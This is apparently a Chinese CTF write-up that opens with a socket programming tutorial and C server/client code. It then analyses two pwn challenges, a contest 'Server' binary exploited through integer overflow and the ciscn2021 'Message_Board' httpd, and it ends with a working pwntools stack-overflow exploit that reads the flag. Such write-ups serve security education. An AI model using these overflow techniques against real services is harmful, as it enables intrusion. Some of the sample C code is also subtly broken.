前置知识和基础
socket套接字详解(TCP与UDP)
- 套接字是网络编程中的一种通信机制,是支持TCP/IP的网络通信的基本操作单元,可以看做是不同主机之间的进程进行双向通信的端点,简单的说就是通信的两方的一种约定,用套接字中的相关函数来完成通信过程
初识IP:
IP有源IP和目的IP之分,源ip就像是一个大范围来确定你属于哪一个区域,而目的ip也就是用来确认你的具体位置的
端口号:
端口号(port)是传输层协议的内容。
- 端口号用来标识一个进程,告诉操作系统,当前这个数据交给哪一个程序进行解析;
-
IP地址 + 端口号能标识网络上的某一台主机的某一个进程;
-
一个端口号只能被一个进程占用。
- 端口号是一个2字节16位的整数;
socket API:
//创建socket文件描述符 (TCP/UDP,客户端+服务器)
int socket(int domain, int type, int protocol);
参数1(domain): 选择创建的套接字所用的协议族;
AF_INET : IPv4协议;
AF_INET6: IPv6协议;
AF_LOCAL: Unix域协议;
AF_ROUTE:路由套接口;
AF_KEY :密钥套接口。
参数2(type):指定套接口类型,所选类型有:
SOCK_STREAM:字节流套接字;
SOCK_DGRAM : 数据报套接字;
SOCK_RAW : 原始套接口。
procotol: 使用的特定协议,一般使用默认协议(NULL)。
//绑定端口号 (TCP/IP,服务器)
int bind(int socket, const struct sockaddr *address, socklen_t address_len);
参数1(socket) : 是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(address):指向特定协议的地址指针。
参数3(address_len):上面地址结构的长度。
返回值:没有错误,bind()返回0,否则SOCKET_ERROR。
//开始监听socket (TCP,服务器)
int listen(int socket, int backlog);
参数1(sockfd):是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(backlog):所监听的端口队列大小。
//接受请求 (TCP,服务器)
int accept(int socket, struct sockaddr* address, socklen_t* address_len);
参数1(socket) : 是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
参数2(address):指向特定协议的地址指针。
参数3(addrlen):上面地址结构的长度。
返回值:没有错误,bind()返回0,否则SOCKET_ERROR。
//建立连接 (TCP,客户端)
int connect(int sockfd, const struct struct sockaddr *addr, aocklen_t addrlen);.
//关闭套接字
int close(int fd);
参数(fd):是由socket()调用返回的并且未作连接的套接字描述符(套接字号)。
socket API是一层抽象的网络编程接口,适用于各种底层网络协议,如IPv4,IPv6,……
以下这个图可以很好的表示整个tcp网络连接过程:
服务器代码参考案例
#include<iostream>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
using namespace std;
#define SERVER_PORT 5050 //端口号
#define SERVER_IP "192.168.3.254" //服务器ip
#define QUEUE_SIZE 5 //所监听端口队列大小
int main(int argc, char *argv[])
{
//创建一个套接字,并检测是否创建成功
int sockSer;
sockSer = socket(AF_INET, SOCK_STREAM, 0);
if(sockSer == -1){
perror("socket");
}
//设置端口可以重用,可以多个客户端连接同一个端口,并检测是否设置成功
int yes = 1;
if(setsockopt(sockSer, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1){
perror("setsockopt");
}
struct sockaddr_in addrSer,addrCli; //创建一个记录地址信息的结构体
addrSer.sin_family = AF_INET; //所使用AF_INET协议族
addrSer.sin_port = htons(SERVER_PORT); //设置地址结构体中的端口号
addrSer.sin_addr.s_addr = inet_addr(SERVER_IP); //设置其中的服务器ip
//将套接字地址与所创建的套接字号联系起来。并检测是否绑定成功
socklen_t addrlen = sizeof(struct sockaddr);
int res = bind(sockSer,(struct sockaddr*)&addrSer, addrlen);
if(res == -1)
perror("bind");
listen(sockSer, QUEUE_SIZE); //监听端口队列是否由连接请求,如果有就将该端口设置位可连接状态,等待服务器接收连接
printf("Server Wait Client Accept......\n");
//如果监听到有连接请求接受连接请求。并检测是否连接成功,成功返回0,否则返回-1
int sockConn = accept(sockSer, (struct sockaddr*)&addrCli, &addrlen);
if(sockConn == -1)
perror("accept");
else
{
printf("Server Accept Client OK.\n");
printf("Client IP:> %s\n", inet_ntoa(addrCli.sin_addr));
printf("Client Port:> %d\n",ntohs(addrCli.sin_port));
}
char sendbuf[256]; //申请一个发送缓存区
char recvbuf[256]; //申请一个接收缓存区
while(1)
{
printf("Ser:>");
scanf("%s",sendbuf);
if(strncmp(sendbuf,"quit",4) == 0) //如果所要发送的数据为"quit",则直接退出。
break;
send(sockConn, sendbuf, strlen(sendbuf)+1, 0); //发送数据
recv(sockConn, recvbuf, 256, 0); //接收客户端发送的数据
printf("Cli:> %s\n",recvbuf);
}
close(sockSer); //关闭套接字
return 0;
客户端代码:
#include<iostream>
#include<unistd.h>
#include<stdio.h>
#include<string.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
using namespace std;
#define SERVER_PORT 5050
#define SERVER_IP "192.168.3.254"
int main(int argc, char *argv[])
{
//创建客户端套接字号,并检测是否创建成功
int sockCli;
sockCli = socket(AF_INET, SOCK_STREAM, 0);
if(sockCli == -1)
perror("socket");
//创建一个地址信息结构体,并对其内容进行设置
struct sockaddr_in addrSer;
addrSer.sin_family = AF_INET; //使用AF_INET协议族
addrSer.sin_port = htons(SERVER_PORT); //设置端口号
addrSer.sin_addr.s_addr = inet_addr(SERVER_IP); //设置服务器ip
bind(sockCli,(struct sockaddr*)&addrCli, sizeof(struct sockaddr)); //将套接字地址与所创建的套接字号联系起来
//创建一个与服务器的连接,并检测连接是否成功
socklen_t addrlen = sizeof(struct sockaddr);
int res = connect(sockCli,(struct sockaddr*)&addrSer, addrlen);
if(res == -1)
perror("connect");
else
printf("Client Connect Server OK.\n");
char sendbuf[256]; //申请一个发送数据缓存区
char recvbuf[256]; //申请一个接收数据缓存区
while(1)
{
recv(sockCli, recvbuf, 256, 0); //接收来自服务器的数据
printf("Ser:> %s\n",recvbuf);
printf("Cli:>");
scanf("%s",sendbuf);
if(strncmp(sendbuf,"quit", 4) == 0) //如果客户端发送的数据为"quit",则退出。
break;
send(sockCli, sendbuf, strlen(sendbuf)+1, 0); //发送数据
}
close(sockCli); //关闭套接字
return 0;
}
广东省第三届信息安全大赛--Server
静态分析部分:
__int64 __fastcall MEMORY[0x400DDE](int a1, char **a2, char **a3)
{
size_t v4; // rax
__int64 v5; // rbx
char buf[140]; // [rsp+10h] [rbp-F0h] BYREF
socklen_t addr_len; // [rsp+9Ch] [rbp-64h] BYREF
struct sockaddr v8; // [rsp+A0h] [rbp-60h] BYREF
struct sockaddr addr; // [rsp+B0h] [rbp-50h] BYREF
char *src; // [rsp+C8h] [rbp-38h]
char *v11; // [rsp+D0h] [rbp-30h]
char *v12; // [rsp+D8h] [rbp-28h]
int v13; // [rsp+E4h] [rbp-1Ch]
int v14; // [rsp+E8h] [rbp-18h]
int fd; // [rsp+ECh] [rbp-14h]
fd = socket(2, 1, 0);
if ( fd == -1 )
{
puts("create socket error\r");
return 0xFFFFFFFFLL;
}
else
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = htonl(0);
*(_WORD *)addr.sa_data = htons(0x2A88u);
if ( bind(fd, &addr, 0x10u) == -1 )
{
puts("bind error\r");
return 0xFFFFFFFFLL;
}
else
{
if ( listen(fd, 2) != -1 )
{
while ( 1 )
{
do
{
addr_len = 16;
v14 = accept(fd, &v8, &addr_len);
}
while ( v14 == -1 );
memset(buf, 0, 0x80uLL);
v13 = recv(v14, buf, 0x80uLL, 0);
if ( v13 <= 0 )
{
puts("recv data error.\r");
}
else
{
buf[v13 - 1] = 0;
v12 = strtok(buf, ":");
v11 = strtok(0LL, ":");
src = sub_400B8A((__int64)v12, (__int64)v11);
if ( src )
{
strcpy(buf, src);
free(src);
src = 0LL;
v4 = strlen(buf);
v13 = send(v14, buf, v4, 0);
v5 = v13;
if ( v5 != strlen(buf) )
puts("send data error.\r");
}
}
close(v14);
}
}
puts("listem error\r");
return 0xFFFFFFFFLL;
}
}
}
先讲一下这个部分做了什么事情把:先是初始化一个socket套接字,定义了ipv4协议和端口号等等,bind()
函数将指定的套接字文件描述符fd
绑定到一个地址addr
,绑到端口0x2A88u也就是10888上面然后accept接受连接,别看代码前面这么多if那都没影响 是来检测创造是否成功的,这里要注意的就是socket(2, 1, 0);
- 第一个参数
2
表示使用的套接字地址族,这里是AF_INET,代表使用IPv4地址族。 - 第二个参数
1
表示套接字的类型,这里是SOCK_STREAM,代表使用字节流套接字。 - 第三个参数
0
表示选择的协议,0代表自动选择套接字类型所需的最合适的协议。
这里告诉我们socket的定义方式,我们后续用客户端写脚本连接的时候要对照上
v13 = recv(v14, buf, 0x80uLL, 0);然后这里是一个交互 我们可以输入0x80个字节传入buf 后面这个buf会经过strtok的函数,
v12 = strtok(buf, ":");
v11 = strtok(0LL, ":");
这里是用:进行切割 比如你是aaa:bbbbb 那么v12就是aaa v11就是bbbbb
src = sub_400B8A((int64)v12, (int64)v11);
这题的关键漏洞点在这里,但我们先不看这个函数 先继续往下走看看
v13 = send(v14, buf, v4, 0);这里会把buf发出 到我们这边(客户端) 而buf的值又和src是相同的 因此所有目光都转向
src = sub_400B8A((int64)v12, (int64)v11);
漏洞函数分析
通过上面的执行流可以看出,flag和msg都被赋值进了相应的地方 但是程序自身执行思路是打开msg,所以整个程序执行流程就是传入buf,然后回显msg文件中的内容,这时候我们想到如果msg变成flag是不是就可以出了呢?
然后观察到两个地方
一个是v10和file离得很近,可以通过v10那个去覆盖file,然后v14是个无符号整型,如果给v14赋值-1 就可以覆盖到file的位置,那么我们的目光就很显然的转到sub_400AD7
i本来就是-1所以我们只要让if语段开头就执行就可以了,v1也就是v4也就是a1 也就是s1
这里是一个字符串拼接,调试的时候发现buf为0:00 就可以绕过直接执行if语句,从而就可以达到整型溢出 得到flag的目的。甚至都不需要exp 抽象
后补知识
有一个accept()函数的返回值,开始不懂httpd pwn 这里卡了挺久的,赛后分析了源码进行一下补充解释:
SYSCALL_DEFINE3(accept, int, fd, struct sockaddr __user *, upeer_sockaddr,
int __user *, upeer_addrlen)
{
return __sys_accept4(fd, upeer_sockaddr, upeer_addrlen, 0);
}
int __sys_accept4(int fd, struct sockaddr __user *upeer_sockaddr,
int __user *upeer_addrlen, int flags)
{
struct socket *sock, *newsock;
struct file *newfile;
int err, len, newfd, fput_needed;
struct sockaddr_storage address;
if (flags & ~(SOCK_CLOEXEC | SOCK_NONBLOCK))
return -EINVAL;
if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;
// 通过fd找到socket实例
sock = sockfd_lookup_light(fd, &err, &fput_needed);
if (!sock)
goto out;
err = -ENFILE;
// 创建一个新的socket实例
newsock = sock_alloc();
if (!newsock)
goto out_put;
newsock->type = sock->type;
newsock->ops = sock->ops;
/*
* We don't need try_module_get here, as the listening socket (sock)
* has the protocol module (sock->ops->owner) held.
*/
__module_get(newsock->ops->owner);
// 分配一个新的fd
newfd = get_unused_fd_flags(flags);
if (unlikely(newfd < 0)) {
err = newfd;
sock_release(newsock);
goto out_put;
}
// 创建file
newfile = sock_alloc_file(newsock, flags, sock->sk->sk_prot_creator->name);
if (IS_ERR(newfile)) {
err = PTR_ERR(newfile);
put_unused_fd(newfd);
goto out_put;
}
err = security_socket_accept(sock, newsock);
if (err)
goto out_fd;
// 这里调用 inet_accept(),该函数内获取到新连接的client,并实例化socket实例
err = sock->ops->accept(sock, newsock, sock->file->f_flags, false);
if (err < 0)
goto out_fd;
// client的addr从内核空间copy到用户空间
if (upeer_sockaddr) {
len = newsock->ops->getname(newsock,
(struct sockaddr *)&address, 2);
if (len < 0) {
err = -ECONNABORTED;
goto out_fd;
}
err = move_addr_to_user(&address,
len, upeer_sockaddr, upeer_addrlen);
if (err < 0)
goto out_fd;
}
/* File flags are not inherited via accept() unlike another OSes. */
// fd和file绑定
fd_install(newfd, newfile);
err = newfd;
out_put:
fput_light(sock->file, fput_needed);
out:
return err;
out_fd:
fput(newfile);
put_unused_fd(newfd);
goto out_put;
}
当socket模式设置为阻塞,accept函数的功能是阻塞等待client发起三次握手,当3次握手完成的时候,accept解除阻塞,并从全连接队列中取出一个socket,就可以对这个socket连接进行读写操作
从accept函数的实现来看,内部实现很通透:
1.创建一个新的socket实例
2.阻塞等待accept队列,直到有已就绪的连接,则从队列中取走
3.socket和新连接做绑定
复现服务器脚本然后执行./server
#!/usr/bin/python3
from pwn import *
import socket
# 先尝试占用端口10888
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.bind(('', 10888)) # 绑定到10888端口
print("成功占用端口10888")
except Exception as e:
print("占用端口10888失败: {}".format(e))
exit(1)
ciscn2021final Message_Board
漏洞分析:
这里的V2是我们Content-Length参数的值 而由于是size_t 且是 --n 那么 如果我们传入的值是0的话 n就会变为一个很大的正值 从而导致溢出 但是这里退出的条件是n=0 因此要传多点不能刚好传到溢出就结束,不然程序会继续循坏。
然后这里劫持到了程序流后 可以选择 去走泄露libc然后打ogg或者system去拿shell 但是会有点麻烦 我没有成功泄露 就走了另一个路径 关注到有一个
就是把文件读取然后输出,这里我们可以控制ebp 然后返回到这个0x804924c这个位置,如果此时ebp-0x42c是flag这个字符串的地址就可以拿到shell了。而恰巧 全局变量dest 在bss段上,也就是说我们在传入参数的时候比如说username的参数或者message的参数传一个flag就可以了,这边只能传入message 因为\x00截断的原因 后面会具体解释
传参规则分析
分析完漏洞可能的利用之后 就来看一下 如何去执行到漏洞点并且利用
read_content函数
sub_804906C(s);
然后是进入这个函数的分析,这里有个注意的点就是这个s相关的赋值
是这两个一块的 我当开始没调试 这里很蒙圈 想着不应该s就只传了一次post吗 那哪些参数怎么传的 虽然调清楚了但不是特别明白在代码层次
这里的话就说明第一次发送的应该是 POST /submit HTTP/1.1\r\n
这里要先读取到Cookie然后检测传入参数 username和message
因此我们第二次传入的参数为Content-Length:0\r\n 第三次传入的参数为Cookie: Username=flag;Messages=flag\r\n 第四次传入\r\n就退出循环
然后到漏洞利用环节
b'a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages='))+p32(0x80492BD)#+p32(0x8049339)
解释一下:
这里的p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages=')) 这部分是因为lea eax, [ebp-42Ch] 这个 然后因为我们 ::dest的值是我们传入参数的值决定的 最后一次传参后 ::dest是
也就是说 我们flag直接用这个的位置就可以了 为什么不用username呢 因为flag后面有别的参数...... 而加\x00前面的检查就过不了就选这个Cookie: Username=flag;Messages=的位置 然后进入get_file函数就可以了
拿flag的exp如下
#!/usr/bin/python3
from pwn import *
io=process('./httpd')
#io=remote('node4.buuoj.cn',25119)
context.log_level='debug'
gdb.attach(io, "b *0x8049817")
pause()
payload=b'POST /submit HTTP/1.1\r\nContent-Length: 0\r\nCookie: Username=flag;Messages=flag\r\n\r\n'
io.sendline(payload)
payload=b'a'*(0x82e-14+8)+p32(0x804C180+0x42c+len('Cookie: Username=flag;Messages='))+p32(0x80492BD)
payload=payload.ljust(0x5000,b'\x00')
#gdb.attach(io)
io.sendline(payload)
io.interactive()